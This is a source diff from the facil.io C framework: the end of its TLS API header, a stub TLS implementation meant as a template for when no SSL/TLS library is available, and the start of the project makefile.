+ * NULL.
+ */
+void fio_tls_alpn_add(fio_tls_s *tls, const char *protocol_name,
+                      void (*on_selected)(intptr_t uuid, void *udata_connection,
+                                          void *udata_tls),
+                      void *udata_tls, void (*on_cleanup)(void *udata_tls));
+
+/**
+ * Returns the number of registered ALPN protocol names.
+ *
+ * This could be used when deciding if protocol selection should be delegated to
+ * the ALPN mechanism, or whether a protocol should be immediately assigned.
+ *
+ * If no ALPN protocols are registered, zero (0) is returned.
+ */
+uintptr_t fio_tls_alpn_count(fio_tls_s *tls);
+
+/**
+ * Adds a certificate to the "trust" list, which automatically adds a peer
+ * verification requirement.
+ *
+ * Note, when the fio_tls_s object is used for server connections, this will
+ * limit connections to clients that connect using a trusted certificate.
+ *
+ *      fio_tls_trust(tls, "google-ca.pem" );
+ */
+void fio_tls_trust(fio_tls_s *, const char *public_cert_file);
+
+/**
+ * Establishes an SSL/TLS connection as an SSL/TLS Server, using the specified
+ * context / settings object.
+ *
+ * The `uuid` should be a socket UUID that is already connected to a peer (i.e.,
+ * the result of `fio_accept`).
+ *
+ * The `udata` is an opaque user data pointer that is passed along to the
+ * protocol selected (if any protocols were added using `fio_tls_alpn_add`).
+ */
+void fio_tls_accept(intptr_t uuid, fio_tls_s *tls, void *udata);
+
+/**
+ * Establishes an SSL/TLS connection as an SSL/TLS Client, using the specified
+ * context / settings object.
+ *
+ * The `uuid` should be a socket UUID that is already connected to a peer (i.e.,
+ * one received by a `fio_connect` specified callback `on_connect`).
+ *
+ * The `udata` is an opaque user data pointer that is passed along to the
+ * protocol selected (if any protocols were added using `fio_tls_alpn_add`).
+ */
+void fio_tls_connect(intptr_t uuid, fio_tls_s *tls, void *udata);
+
+/**
+ * Increase the reference count for the TLS object.
+ *
+ * Decrease with `fio_tls_destroy`.
+ */
+void fio_tls_dup(fio_tls_s *tls);
+
+/**
+ * Destroys the SSL/TLS context / settings object and frees any related
+ * resources / memory.
+ */
+void fio_tls_destroy(fio_tls_s *tls);
+
+#endif

facil.io/lib/facil/tls/fio_tls_missing.c

@@ -0,0 +1,635 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#include <fio.h>
+
+/**
+ * This implementation of the facil.io SSL/TLS wrapper API is the default
+ * implementation that will be used when no SSL/TLS library is available...
+ *
+ * ... without modification, this implementation crashes the program.
+ *
+ * The implementation can be USED AS A TEMPLATE for future implementations.
+ *
+ * This implementation is optimized for ease of development rather than memory
+ * consumption.
+ */
+#include "fio_tls.h"
+
+#if !defined(FIO_TLS_FOUND) /* Library compiler flags */
+
+#define REQUIRE_LIBRARY()
+#define FIO_TLS_WEAK
+
+/* TODO: delete me! */
+#undef FIO_TLS_WEAK
+#define FIO_TLS_WEAK __attribute__((weak))
+#if !FIO_IGNORE_TLS_IF_MISSING
+#undef REQUIRE_LIBRARY
+#define REQUIRE_LIBRARY()                                                      \
+  FIO_LOG_FATAL("No supported SSL/TLS library available.");                    \
+  exit(-1);
+#endif
+/* STOP deleting after this line */
+
+/* *****************************************************************************
+The SSL/TLS helper data types (can be left as is)
+***************************************************************************** */
+#define FIO_INCLUDE_STR 1
+#define FIO_FORCE_MALLOC_TMP 1
+#include <fio.h>
+
+typedef struct {
+  fio_str_s private_key;
+  fio_str_s public_key;
+  fio_str_s password;
+} cert_s;
+
+static inline int fio_tls_cert_cmp(const cert_s *dest, const cert_s *src) {
+  return fio_str_iseq(&dest->private_key, &src->private_key);
+}
+static inline void fio_tls_cert_copy(cert_s *dest, cert_s *src) {
+  *dest = (cert_s){
+      .private_key = FIO_STR_INIT,
+      .public_key = FIO_STR_INIT,
+      .password = FIO_STR_INIT,
+  };
+  fio_str_concat(&dest->private_key, &src->private_key);
+  fio_str_concat(&dest->public_key, &src->public_key);
+  fio_str_concat(&dest->password, &src->password);
+}
+static inline void fio_tls_cert_destroy(cert_s *obj) {
+  fio_str_free(&obj->private_key);
+  fio_str_free(&obj->public_key);
+  fio_str_free(&obj->password);
+}
+
+#define FIO_ARY_NAME cert_ary
+#define FIO_ARY_TYPE cert_s
+#define FIO_ARY_COMPARE(k1, k2) (fio_tls_cert_cmp(&(k1), &(k2)))
+#define FIO_ARY_COPY(dest, obj) fio_tls_cert_copy(&(dest), &(obj))
+#define FIO_ARY_DESTROY(key) fio_tls_cert_destroy(&(key))
+#define FIO_FORCE_MALLOC_TMP 1
+#include <fio.h>
+
+typedef struct {
+  fio_str_s pem;
+} trust_s;
+
+static inline int fio_tls_trust_cmp(const trust_s *dest, const trust_s *src) {
+  return fio_str_iseq(&dest->pem, &src->pem);
+}
+static inline void fio_tls_trust_copy(trust_s *dest, trust_s *src) {
+  *dest = (trust_s){
+      .pem = FIO_STR_INIT,
+  };
+  fio_str_concat(&dest->pem, &src->pem);
+}
+static inline void fio_tls_trust_destroy(trust_s *obj) {
+  fio_str_free(&obj->pem);
+}
+
+#define FIO_ARY_NAME trust_ary
+#define FIO_ARY_TYPE trust_s
+#define FIO_ARY_COMPARE(k1, k2) (fio_tls_trust_cmp(&(k1), &(k2)))
+#define FIO_ARY_COPY(dest, obj) fio_tls_trust_copy(&(dest), &(obj))
+#define FIO_ARY_DESTROY(key) fio_tls_trust_destroy(&(key))
+#define FIO_FORCE_MALLOC_TMP 1
+#include <fio.h>
+
+typedef struct {
+  fio_str_s name; /* fio_str_s provides cache locality for small strings */
+  void (*on_selected)(intptr_t uuid, void *udata_connection, void *udata_tls);
+  void *udata_tls;
+  void (*on_cleanup)(void *udata_tls);
+} alpn_s;
+
+static inline int fio_alpn_cmp(const alpn_s *dest, const alpn_s *src) {
+  return fio_str_iseq(&dest->name, &src->name);
+}
+static inline void fio_alpn_copy(alpn_s *dest, alpn_s *src) {
+  *dest = (alpn_s){
+      .name = FIO_STR_INIT,
+      .on_selected = src->on_selected,
+      .udata_tls = src->udata_tls,
+      .on_cleanup = src->on_cleanup,
+  };
+  fio_str_concat(&dest->name, &src->name);
+}
+static inline void fio_alpn_destroy(alpn_s *obj) {
+  if (obj->on_cleanup)
+    obj->on_cleanup(obj->udata_tls);
+  fio_str_free(&obj->name);
+}
+
+#define FIO_SET_NAME alpn_list
+#define FIO_SET_OBJ_TYPE alpn_s
+#define FIO_SET_OBJ_COMPARE(k1, k2) fio_alpn_cmp(&(k1), &(k2))
+#define FIO_SET_OBJ_COPY(dest, obj) fio_alpn_copy(&(dest), &(obj))
+#define FIO_SET_OBJ_DESTROY(key) fio_alpn_destroy(&(key))
+#define FIO_FORCE_MALLOC_TMP 1
+#include <fio.h>
+
+/* *****************************************************************************
+The SSL/TLS Context type
+***************************************************************************** */
+
+/** An opaque type used for the SSL/TLS functions. */
+struct fio_tls_s {
+  size_t ref;       /* Reference counter, to guards the ALPN registry */
+  alpn_list_s alpn; /* ALPN is the name for the protocol selection extension */
+
+  /*** the next two components could be optimized away with tweaking stuff ***/
+
+  cert_ary_s sni;    /* SNI (server name extension) stores ID certificates */
+  trust_ary_s trust; /* Trusted certificate registry (peer verification) */
+
+  /************ TODO: implementation data fields go here ******************/
+};
+
+/* *****************************************************************************
+ALPN Helpers
+***************************************************************************** */
+
+/** Returns a pointer to the ALPN data (callback, etc') IF exists in the TLS. */
+FIO_FUNC inline alpn_s *alpn_find(fio_tls_s *tls, char *name, size_t len) {
+  alpn_s tmp = {.name = FIO_STR_INIT_STATIC2(name, len)};
+  alpn_list__map_s_ *pos =
+      alpn_list__find_map_pos_(&tls->alpn, fio_str_hash(&tmp.name), tmp);
+  if (!pos || !pos->pos)
+    return NULL;
+  return &pos->pos->obj;
+}
+
+/** Adds an ALPN data object to the ALPN "list" (set) */
+FIO_FUNC inline void alpn_add(
+    fio_tls_s *tls, const char *protocol_name,
+    void (*on_selected)(intptr_t uuid, void *udata_connection, void *udata_tls),
+    void *udata_tls, void (*on_cleanup)(void *udata_tls)) {
+  alpn_s tmp = {
+      .name = FIO_STR_INIT_STATIC(protocol_name),
+      .on_selected = on_selected,
+      .udata_tls = udata_tls,
+      .on_cleanup = on_cleanup,
+  };
+  if (fio_str_len(&tmp.name) > 255) {
+    FIO_LOG_ERROR("ALPN protocol names are limited to 255 bytes.");
+    return;
+  }
+  alpn_list_overwrite(&tls->alpn, fio_str_hash(&tmp.name), tmp, NULL);
+  tmp.on_cleanup = NULL;
+  fio_alpn_destroy(&tmp);
+}
+
+/** Returns a pointer to the default (first) ALPN object in the TLS (if any). */
+FIO_FUNC inline alpn_s *alpn_default(fio_tls_s *tls) {
+  if (!tls || !alpn_list_count(&tls->alpn) || !tls->alpn.ordered)
+    return NULL;
+  return &tls->alpn.ordered[0].obj;
+}
+
+typedef struct {
+  alpn_s alpn;
+  intptr_t uuid;
+  void *udata_connection;
+} alpn_task_s;
+
+FIO_FUNC inline void alpn_select___task(void *t_, void *ignr_) {
+  alpn_task_s *t = t_;
+  if (fio_is_valid(t->uuid))
+    t->alpn.on_selected(t->uuid, t->udata_connection, t->alpn.udata_tls);
+  fio_free(t);
+  (void)ignr_;
+}
+
+/** Schedules the ALPN protocol callback. */
+FIO_FUNC inline void alpn_select(alpn_s *alpn, intptr_t uuid,
+                                 void *udata_connection) {
+  if (!alpn || !alpn->on_selected)
+    return;
+  alpn_task_s *t = fio_malloc(sizeof(*t));
+  *t = (alpn_task_s){
+      .alpn = *alpn,
+      .uuid = uuid,
+      .udata_connection = udata_connection,
+  };
+  /* move task out of the socket's lock */
+  fio_defer(alpn_select___task, t, NULL);
+}
+
+/* *****************************************************************************
+SSL/TLS Context (re)-building - TODO: add implementation details
+***************************************************************************** */
+
+/** Called when the library specific data for the context should be destroyed */
+static void fio_tls_destroy_context(fio_tls_s *tls) {
+  /* TODO: Library specific implementation */
+  FIO_LOG_DEBUG("destroyed TLS context %p", (void *)tls);
+}
+
+/** Called when the library specific data for the context should be built */
+static void fio_tls_build_context(fio_tls_s *tls) {
+  fio_tls_destroy_context(tls);
+  /* TODO: Library specific implementation */
+
+  /* Certificates */
+  FIO_ARY_FOR(&tls->sni, pos) {
+    fio_str_info_s k = fio_str_info(&pos->private_key);
+    fio_str_info_s p = fio_str_info(&pos->public_key);
+    fio_str_info_s pw = fio_str_info(&pos->password);
+    if (p.len && k.len) {
+      /* TODO: attache certificate */
+      (void)pw;
+    } else {
+      /* TODO: self signed certificate */
+    }
+  }
+
+  /* ALPN Protocols */
+  FIO_SET_FOR_LOOP(&tls->alpn, pos) {
+    fio_str_info_s name = fio_str_info(&pos->obj.name);
+    (void)name;
+    // map to pos->callback;
+  }
+
+  /* Peer Verification / Trust */
+  if (trust_ary_count(&tls->trust)) {
+    /* TODO: enable peer verification */
+
+    /* TODO: Add each ceriticate in the PEM to the trust "store" */
+    FIO_ARY_FOR(&tls->trust, pos) {
+      fio_str_info_s pem = fio_str_info(&pos->pem);
+      (void)pem;
+    }
+  }
+
+  FIO_LOG_DEBUG("(re)built TLS context %p", (void *)tls);
+}
+
+/* *****************************************************************************
+SSL/TLS RW Hooks - TODO: add implementation details
+***************************************************************************** */
+
+/* TODO: this is an example implementation - fix for specific library. */
+
+#define TLS_BUFFER_LENGTH (1 << 15)
+typedef struct {
+  fio_tls_s *tls;
+  size_t len;
+  uint8_t alpn_ok;
+  char buffer[TLS_BUFFER_LENGTH];
+} buffer_s;
+
+/**
+ * Implement reading from a file descriptor. Should behave like the file
+ * system `read` call, including the setup or errno to EAGAIN / EWOULDBLOCK.
+ *
+ * Note: facil.io library functions MUST NEVER be called by any r/w hook, or a
+ * deadlock might occur.
+ */
+static ssize_t fio_tls_read(intptr_t uuid, void *udata, void *buf,
+                            size_t count) {
+  ssize_t ret = read(fio_uuid2fd(uuid), buf, count);
+  if (ret > 0) {
+    FIO_LOG_DEBUG("Read %zd bytes from %p", ret, (void *)uuid);
+  }
+  return ret;
+  (void)udata;
+}
+
+/**
+ * When implemented, this function will be called to flush any data remaining
+ * in the internal buffer.
+ *
+ * The function should return the number of bytes remaining in the internal
+ * buffer (0 is a valid response) or -1 (on error).
+ *
+ * Note: facil.io library functions MUST NEVER be called by any r/w hook, or a
+ * deadlock might occur.
+ */
+static ssize_t fio_tls_flush(intptr_t uuid, void *udata) {
+  buffer_s *buffer = udata;
+  if (!buffer->len) {
+    FIO_LOG_DEBUG("Flush empty for %p", (void *)uuid);
+    return 0;
+  }
+  ssize_t r = write(fio_uuid2fd(uuid), buffer->buffer, buffer->len);
+  if (r < 0)
+    return -1;
+  if (r == 0) {
+    errno = ECONNRESET;
+    return -1;
+  }
+  size_t len = buffer->len - r;
+  if (len)
+    memmove(buffer->buffer, buffer->buffer + r, len);
+  buffer->len = len;
+  FIO_LOG_DEBUG("Sent %zd bytes to %p", r, (void *)uuid);
+  return r;
+}
+
+/**
+ * Implement writing to a file descriptor. Should behave like the file system
+ * `write` call.
+ *
+ * If an internal buffer is implemented and it is full, errno should be set to
+ * EWOULDBLOCK and the function should return -1.
+ *
+ * Note: facil.io library functions MUST NEVER be called by any r/w hook, or a
+ * deadlock might occur.
+ */
+static ssize_t fio_tls_write(intptr_t uuid, void *udata, const void *buf,
+                             size_t count) {
+  buffer_s *buffer = udata;
+  size_t can_copy = TLS_BUFFER_LENGTH - buffer->len;
+  if (can_copy > count)
+    can_copy = count;
+  if (!can_copy)
+    goto would_block;
+  memcpy(buffer->buffer + buffer->len, buf, can_copy);
+  buffer->len += can_copy;
+  FIO_LOG_DEBUG("Copied %zu bytes to %p", can_copy, (void *)uuid);
+  fio_tls_flush(uuid, udata);
+  return can_copy;
+would_block:
+  errno = EWOULDBLOCK;
+  return -1;
+}
+
+/**
+ * The `close` callback should close the underlying socket / file descriptor.
+ *
+ * If the function returns a non-zero value, it will be called again after an
+ * attempt to flush the socket and any pending outgoing buffer.
+ *
+ * Note: facil.io library functions MUST NEVER be called by any r/w hook, or a
+ * deadlock might occur.
+ * */
+static ssize_t fio_tls_before_close(intptr_t uuid, void *udata) {
+  FIO_LOG_DEBUG("The `before_close` callback was called for %p", (void *)uuid);
+  return 1;
+  (void)udata;
+}
+/**
+ * Called to perform cleanup after the socket was closed.
+ * */
+static void fio_tls_cleanup(void *udata) {
+  buffer_s *buffer = udata;
+  /* make sure the ALPN callback was called, just in case cleanup is required */
+  if (!buffer->alpn_ok) {
+    alpn_select(alpn_default(buffer->tls), -1, NULL /* ALPN udata */);
+  }
+  fio_tls_destroy(buffer->tls); /* manage reference count */
+  fio_free(udata);
+}
+
+static fio_rw_hook_s FIO_TLS_HOOKS = {
+    .read = fio_tls_read,
+    .write = fio_tls_write,
+    .before_close = fio_tls_before_close,
+    .flush = fio_tls_flush,
+    .cleanup = fio_tls_cleanup,
+};
+
+static size_t fio_tls_handshake(intptr_t uuid, void *udata) {
+  /*TODO: test for handshake completion */
+  if (0 /*handshake didn't complete */)
+    return 0;
+  if (fio_rw_hook_replace_unsafe(uuid, &FIO_TLS_HOOKS, udata) == 0) {
+    FIO_LOG_DEBUG("Completed TLS handshake for %p", (void *)uuid);
+    /*
+     * make sure the connection is re-added to the reactor...
+     * in case, while waiting for ALPN, it was suspended for missing a protocol.
+     */
+    fio_force_event(uuid, FIO_EVENT_ON_DATA);
+  } else {
+    FIO_LOG_DEBUG("Something went wrong during TLS handshake for %p",
+                  (void *)uuid);
+  }
+  return 1;
+}
+
+static ssize_t fio_tls_read4handshake(intptr_t uuid, void *udata, void *buf,
+                                      size_t count) {
+  FIO_LOG_DEBUG("TLS handshake from read %p", (void *)uuid);
+  if (fio_tls_handshake(uuid, udata))
+    return fio_tls_read(uuid, udata, buf, count);
+  errno = EWOULDBLOCK;
+  return -1;
+}
+
+static ssize_t fio_tls_write4handshake(intptr_t uuid, void *udata,
+                                       const void *buf, size_t count) {
+  FIO_LOG_DEBUG("TLS handshake from write %p", (void *)uuid);
+  if (fio_tls_handshake(uuid, udata))
+    return fio_tls_write(uuid, udata, buf, count);
+  errno = EWOULDBLOCK;
+  return -1;
+}
+
+static ssize_t fio_tls_flush4handshake(intptr_t uuid, void *udata) {
+  FIO_LOG_DEBUG("TLS handshake from flush %p", (void *)uuid);
+  if (fio_tls_handshake(uuid, udata))
+    return fio_tls_flush(uuid, udata);
+  /* TODO: return a positive value only if handshake requires a write */
+  return 1;
+}
+static fio_rw_hook_s FIO_TLS_HANDSHAKE_HOOKS = {
+    .read = fio_tls_read4handshake,
+    .write = fio_tls_write4handshake,
+    .before_close = fio_tls_before_close,
+    .flush = fio_tls_flush4handshake,
+    .cleanup = fio_tls_cleanup,
+};
+
+static inline void fio_tls_attach2uuid(intptr_t uuid, fio_tls_s *tls,
+                                       void *udata, uint8_t is_server) {
+  fio_atomic_add(&tls->ref, 1); /* manage reference count */
+  /* TODO: this is only an example implementation - fix for specific library */
+  if (is_server) {
+    /* Server mode (accept) */
+    FIO_LOG_DEBUG("Attaching TLS read/write hook for %p (server mode).",
+                  (void *)uuid);
+  } else {
+    /* Client mode (connect) */
+    FIO_LOG_DEBUG("Attaching TLS read/write hook for %p (client mode).",
+                  (void *)uuid);
+  }
+  /* common implementation (TODO) */
+  buffer_s *connection_data = fio_malloc(sizeof(*connection_data));
+  FIO_ASSERT_ALLOC(connection_data);
+  fio_rw_hook_set(uuid, &FIO_TLS_HANDSHAKE_HOOKS,
+                  connection_data); /* 32Kb buffer */
+  alpn_select(alpn_default(tls), uuid, udata);
+  connection_data->alpn_ok = 1;
+}
+
+/* *****************************************************************************
+SSL/TLS API implementation - this can be pretty much used as is...
+***************************************************************************** */
+
+/**
+ * Creates a new SSL/TLS context / settings object with a default certificate
+ * (if any).
+ */
+fio_tls_s *FIO_TLS_WEAK fio_tls_new(const char *server_name, const char *cert,
+                                    const char *key, const char *pk_password) {
+  REQUIRE_LIBRARY();
+  fio_tls_s *tls = calloc(sizeof(*tls), 1);
+  tls->ref = 1;
+  fio_tls_cert_add(tls, server_name, key, cert, pk_password);
+  return tls;
+}
+
+/**
+ * Adds a certificate  a new SSL/TLS context / settings object.
+ */
+void FIO_TLS_WEAK fio_tls_cert_add(fio_tls_s *tls, const char *server_name,
+                                   const char *cert, const char *key,
+                                   const char *pk_password) {
+  REQUIRE_LIBRARY();
+  cert_s c = {
+      .private_key = FIO_STR_INIT,
+      .public_key = FIO_STR_INIT,
+      .password = FIO_STR_INIT_STATIC2(pk_password,
+                                       (pk_password ? strlen(pk_password) : 0)),
+  };
+  if (key && cert) {
+    if (fio_str_readfile(&c.private_key, key, 0, 0).data == NULL)
+      goto file_missing;
+    if (fio_str_readfile(&c.public_key, cert, 0, 0).data == NULL)
+      goto file_missing;
+    cert_ary_push(&tls->sni, c);
+  } else if (server_name) {
+    /* Self-Signed TLS Certificates */
+    c.private_key = FIO_STR_INIT_STATIC(server_name);
+    cert_ary_push(&tls->sni, c);
+  }
+  fio_tls_cert_destroy(&c);
+  fio_tls_build_context(tls);
+  return;
+file_missing:
+  FIO_LOG_FATAL("TLS certificate file missing for either %s or %s or both.",
+                key, cert);
+  exit(-1);
+}
+
+/**
+ * Adds an ALPN protocol callback to the SSL/TLS context.
+ *
+ * The first protocol added will act as the default protocol to be selected.
+ *
+ * The callback should accept the `uuid`, the user data pointer passed to either
+ * `fio_tls_accept` or `fio_tls_connect` (here: `udata_connetcion`) and the user
+ * data pointer passed to the `fio_tls_alpn_add` function (`udata_tls`).
+ *
+ * The `on_cleanup` callback will be called when the TLS object is destroyed (or
+ * `fio_tls_alpn_add` is called again with the same protocol name). The
+ * `udata_tls` argumrnt will be passed along, as is, to the callback (if set).
+ *
+ * Except for the `tls` and `protocol_name` arguments, all arguments can be
+ * NULL.
+ */
+void FIO_TLS_WEAK fio_tls_alpn_add(
+    fio_tls_s *tls, const char *protocol_name,
+    void (*on_selected)(intptr_t uuid, void *udata_connection, void *udata_tls),
+    void *udata_tls, void (*on_cleanup)(void *udata_tls)) {
+  REQUIRE_LIBRARY();
+  alpn_add(tls, protocol_name, on_selected, udata_tls, on_cleanup);
+  fio_tls_build_context(tls);
+}
+
+/**
+ * Returns the number of registered ALPN protocol names.
+ *
+ * This could be used when deciding if protocol selection should be delegated to
+ * the ALPN mechanism, or whether a protocol should be immediately assigned.
+ *
+ * If no ALPN protocols are registered, zero (0) is returned.
+ */
+uintptr_t FIO_TLS_WEAK fio_tls_alpn_count(fio_tls_s *tls) {
+  return tls ? alpn_list_count(&tls->alpn) : 0;
+}
+
+/**
+ * Adds a certificate to the "trust" list, which automatically adds a peer
+ * verification requirement.
+ *
+ *      fio_tls_trust(tls, "google-ca.pem" );
+ */
+void FIO_TLS_WEAK fio_tls_trust(fio_tls_s *tls, const char *public_cert_file) {
+  REQUIRE_LIBRARY();
+  trust_s c = {
+      .pem = FIO_STR_INIT,
+  };
+  if (!public_cert_file)
+    return;
+  if (fio_str_readfile(&c.pem, public_cert_file, 0, 0).data == NULL)
+    goto file_missing;
+  trust_ary_push(&tls->trust, c);
+  fio_tls_trust_destroy(&c);
+  fio_tls_build_context(tls);
+  return;
+file_missing:
+  FIO_LOG_FATAL("TLS certificate file missing for %s ", public_cert_file);
+  exit(-1);
+}
+
+/**
+ * Establishes an SSL/TLS connection as an SSL/TLS Server, using the specified
+ * context / settings object.
+ *
+ * The `uuid` should be a socket UUID that is already connected to a peer (i.e.,
+ * the result of `fio_accept`).
+ *
+ * The `udata` is an opaque user data pointer that is passed along to the
+ * protocol selected (if any protocols were added using `fio_tls_alpn_add`).
+ */
+void FIO_TLS_WEAK fio_tls_accept(intptr_t uuid, fio_tls_s *tls, void *udata) {
+  REQUIRE_LIBRARY();
+  fio_tls_attach2uuid(uuid, tls, udata, 1);
+}
+
+/**
+ * Establishes an SSL/TLS connection as an SSL/TLS Client, using the specified
+ * context / settings object.
+ *
+ * The `uuid` should be a socket UUID that is already connected to a peer (i.e.,
+ * one received by a `fio_connect` specified callback `on_connect`).
+ *
+ * The `udata` is an opaque user data pointer that is passed along to the
+ * protocol selected (if any protocols were added using `fio_tls_alpn_add`).
+ */
+void FIO_TLS_WEAK fio_tls_connect(intptr_t uuid, fio_tls_s *tls, void *udata) {
+  REQUIRE_LIBRARY();
+  fio_tls_attach2uuid(uuid, tls, udata, 0);
+}
+
+/**
+ * Increase the reference count for the TLS object.
+ *
+ * Decrease with `fio_tls_destroy`.
+ */
+void FIO_TLS_WEAK fio_tls_dup(fio_tls_s *tls) { fio_atomic_add(&tls->ref, 1); }
+
+/**
+ * Destroys the SSL/TLS context / settings object and frees any related
+ * resources / memory.
+ */
+void FIO_TLS_WEAK fio_tls_destroy(fio_tls_s *tls) {
+  if (!tls)
+    return;
+  REQUIRE_LIBRARY();
+  if (fio_atomic_sub(&tls->ref, 1))
+    return;
+  fio_tls_destroy_context(tls);
+  alpn_list_free(&tls->alpn);
+  cert_ary_free(&tls->sni);
+  trust_ary_free(&tls->trust);
+  free(tls);
+}
+
+#endif /* Library compiler flags */

facil.io/makefile

@@ -0,0 +1,818 @@
+#############################################################################
+# This makefile was composed for facil.io
+#
+# Copyright (c) 2016-2019 Boaz Segev
+# License MIT or ISC
+#
+# This makefile should be easilty portable on
+# X-nix systems for different projects.
+#
+#############################################################################
+
+#############################################################################
+# Compliation Output Settings
+#############################################################################
+
+# binary name and location
+ifndef NAME
+NAME=fioapp
+endif
+
+# a temporary folder that will be cleared out and deleted between fresh builds
+# All object files will be placed in this folder
+TMP_ROOT=tmp
+
+# destination folder for the final compiled output
+ifndef DEST
+DEST=$(TMP_ROOT)
+endif
+
+# output folder for `make libdump` - dumps all library files (not source files) in one place.
+DUMP_LIB=libdump
+
+# The library details for CMake incorporation. Can be safely removed.
+CMAKE_LIBFILE_NAME=CMakeLists.txt
+
+#############################################################################
+# Source Code Folder Settings
+#############################################################################
+
+# The development, non-library .c file(s) (i.e., the one with `int main(void)`).
+MAIN_ROOT=src
+# Development subfolders under the main development root
+MAIN_SUBFOLDERS=
+
+#############################################################################
+# Library Folder Settings
+#############################################################################
+
+# the .c and .cpp source files root folder
+LIB_ROOT=lib
+
+# publicly used subfolders in the lib root
+LIB_PUBLIC_SUBFOLDERS=facil facil/tls facil/fiobj facil/cli facil/http facil/http/parsers facil/redis
+
+# privately used subfolders in the lib root (this distinction is only relevant for CMake)
+LIB_PRIVATE_SUBFOLDERS=
+
+#############################################################################
+# Compiler / Linker Settings
+#############################################################################
+
+# any libraries required (only names, ommit the "-l" at the begining)
+LINKER_LIBS=pthread m
+# optimization level.
+OPTIMIZATION=-O2 -march=native
+# Warnings... i.e. -Wpedantic -Weverything -Wno-format-pedantic
+WARNINGS= -Wshadow -Wall -Wextra -Wno-missing-field-initializers -Wpedantic
+# any extra include folders, space seperated list. (i.e. `pg_config --includedir`)
+INCLUDE= ./
+# any preprocessosr defined flags we want, space seperated list (i.e. DEBUG )
+FLAGS:=
+
+# c compiler
+ifndef CC
+	CC=gcc
+endif
+# c++ compiler
+ifndef CPP
+	CPP=g++
+endif
+
+# c standard
+ifndef CSTD
+	CSTD:=c11
+endif
+# c++ standard
+ifndef CPPSTD
+	CPPSTD:=gnu++11
+endif
+
+PKG_CONFIG ?= pkg-config
+
+# for internal use - don't change
+LINKER_LIBS_EXT:=
+
+#############################################################################
+# Debug Settings
+#############################################################################
+
+# add DEBUG flag if requested
+ifdef DEBUG
+  $(info * Detected DEBUG environment flag, enforcing debug mode compilation)
+	FLAGS:=$(FLAGS) DEBUG
+	# # comment the following line if you want to use a different address sanitizer or a profiling tool.
+	OPTIMIZATION:=-O0 -march=native -fsanitize=address -fno-omit-frame-pointer
+	# possibly useful:  -Wconversion -Wcomma -fsanitize=undefined -Wshadow
+	# go crazy with clang: -Weverything -Wno-cast-qual -Wno-used-but-marked-unused -Wno-reserved-id-macro -Wno-padded -Wno-disabled-macro-expansion -Wno-documentation-unknown-command -Wno-bad-function-cast -Wno-missing-prototypes
+else
+	FLAGS:=$(FLAGS) NDEBUG NODEBUG
+endif
+
+#############################################################################
+# facil.io compilation flag helpers
+#############################################################################
+
+# add FIO_PRINT_STATE flag if requested
+ifdef FIO_PRINT
+  $(warning FIO_PRINT_STATE is deprecated. FIO_PRINT support will be removed soon.)
+	FLAGS:=$(FLAGS) FIO_PRINT_STATE=$(FIO_PRINT)
+endif
+
+# add FIO_PUBSUB_SUPPORT flag if requested
+ifdef FIO_PUBSUB_SUPPORT
+	FLAGS:=$(FLAGS) FIO_PUBSUB_SUPPORT=$(FIO_PUBSUB_SUPPORT)
+endif
+
+#############################################################################
+# OS Specific Settings (debugger, disassembler, etc')
+#############################################################################
+
+
+ifneq ($(OS),Windows_NT)
+	OS := $(shell uname)
+else
+	$(warning *** Windows systems might not work with this makefile / library.)
+endif
+ifeq ($(OS),Darwin) # Run MacOS commands
+	# debugger
+	DB=lldb
+	# disassemble tool. Use stub to disable.
+	# DISAMS=otool -dtVGX
+	# documentation commands
+	# DOCUMENTATION=cldoc generate $(INCLUDE_STR) -- --output ./html $(foreach dir, $(LIB_PUBLIC_SUBFOLDERS), $(wildcard $(addsuffix /, $(basename $(dir)))*.h*))
+$(DEST)/libfacil.so: LDFLAGS += -dynamiclib -install_name $(realpath $(DEST))/libfacil.so
+else
+	# debugger
+	DB=gdb
+	# disassemble tool, leave undefined.
+	# DISAMS=otool -tVX
+	DOCUMENTATION=
+endif
+
+# GCC (at least) >= 7 triggers some bug when -fipa-icf is enabled
+# (as in our default: -O2)
+ifeq ($(shell $(CC) -v 2>&1 | grep -o "^gcc version"),gcc version)
+	OPTIMIZATION += -fno-ipa-icf
+endif
+
+#############################################################################
+# Automatic Setting Expansion
+# (don't edit)
+#############################################################################
+
+BIN = $(DEST)/$(NAME)
+
+LIBDIR_PUB = $(LIB_ROOT) $(foreach dir, $(LIB_PUBLIC_SUBFOLDERS), $(addsuffix /,$(basename $(LIB_ROOT)))$(dir))
+LIBDIR_PRIV = $(foreach dir, $(LIB_PRIVATE_SUBFOLDERS), $(addsuffix /,$(basename $(LIB_ROOT)))$(dir))
+
+LIBDIR = $(LIBDIR_PUB) $(LIBDIR_PRIV)
+LIBSRC = $(foreach dir, $(LIBDIR), $(wildcard $(addsuffix /, $(basename $(dir)))*.c*))
+
+MAINDIR = $(MAIN_ROOT) $(foreach main_root, $(MAIN_ROOT) , $(foreach dir, $(MAIN_SUBFOLDERS), $(addsuffix /,$(basename $(main_root)))$(dir)))
+MAINSRC = $(foreach dir, $(MAINDIR), $(wildcard $(addsuffix /, $(basename $(dir)))*.c*))
+
+FOLDERS = $(LIBDIR) $(MAINDIR)
+SOURCES = $(LIBSRC) $(MAINSRC)
+
+BUILDTREE =$(foreach dir, $(FOLDERS), $(addsuffix /, $(basename $(TMP_ROOT)))$(basename $(dir)))
+
+CCL = $(CC)
+
+INCLUDE_STR = $(foreach dir,$(INCLUDE),$(addprefix -I, $(dir))) $(foreach dir,$(FOLDERS),$(addprefix -I, $(dir)))
+
+MAIN_OBJS = $(foreach source, $(MAINSRC), $(addprefix $(TMP_ROOT)/, $(addsuffix .o, $(basename $(source)))))
+LIB_OBJS = $(foreach source, $(LIBSRC), $(addprefix $(TMP_ROOT)/, $(addsuffix .o, $(basename $(source)))))
+
+OBJS_DEPENDENCY:=$(LIB_OBJS:.o=.d) $(MAIN_OBJS:.o=.d)
+
+#############################################################################
+# TRY_COMPILE and TRY_COMPILE_AND_RUN functions
+#
+# Call using $(call TRY_COMPILE, code, compiler_flags)
+#
+# Returns shell code as string: "0" (success) or non-0 (failure)
+#
+# TRY_COMPILE_AND_RUN returns the program's shell code as string.
+#############################################################################
+
+TRY_COMPILE=$(shell printf $(1) | $(CC) $(INCLUDE_STR) $(LDFLAGS) $(2) -xc -o /dev/null - >> /dev/null 2> /dev/null ; echo $$? 2> /dev/null)
